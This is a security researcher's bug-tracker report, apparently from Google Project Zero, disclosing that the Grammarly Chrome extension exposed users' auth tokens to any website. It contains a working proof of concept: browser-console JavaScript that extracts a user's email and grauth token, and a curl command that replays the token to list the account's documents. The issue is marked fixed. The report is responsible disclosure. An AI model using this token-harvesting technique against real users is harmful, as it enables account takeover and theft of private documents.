New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 9 users

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Feb 5
Cc:



Sign in to add a comment

Grammarly: auth tokens are accessible to all websites

Project Member Reported by taviso@google.com, Feb 2 Back to list

Issue description

The Grammarly chrome extension (approx ~22M users) exposes it's auth tokens to all websites, therefore any website can login to grammarly.com as you and access all your documents and other data. I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations.

Users would not expect that visiting a website gives it permission to access documents from other websites.

Reproduce:

Here is how to repro, on any website (e.g. example.com) type this in the console to get a grammarly auth token (obviously a website could do this with <script> without any user interaction):

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(a.data.user.email, a.data.user.grauth); }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

It should print something like this:

testaccount.zzxxyyaa@gmail.com AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

That grauth token matches the grauth cookie used on grammarly.com, and I verified that is enough to login to a grammarly.com account. Therefore any website can access all your docs.

To prove grauth is enough to compromise a grammarly account, you can get a list of all uploaded documents like this:

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si 'https://dox.grammarly.com/documents?search=&limit=100&firstCall=false'
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
Project Member

Comment 1 by taviso@google.com, Feb 5

Summary: Grammarly: auth tokens are accessible to all websites (was: grammarly: auth tokens are accessible to all websites)
Project Member

Comment 2 by taviso@google.com, Feb 5

Description: Show this description
Project Member

Comment 3 by taviso@google.com, Feb 5

Labels: -Restrict-View-Commit
Status: Fixed (was: New)
Grammarly had fixed the issue and released an update to the Chrome Web Store within a few hours, a really impressive response time.

I've verified that Mozilla now also has the update, so users should be auto-updated to the fixed version. I'm calling this issue fixed.

Comment 4 Deleted

Does this apply to other webkit browsers ?

Comment 6 Deleted

Project Member

Comment 7 by taviso@google.com, Feb 6

Description: Show this description

Sign in to add a comment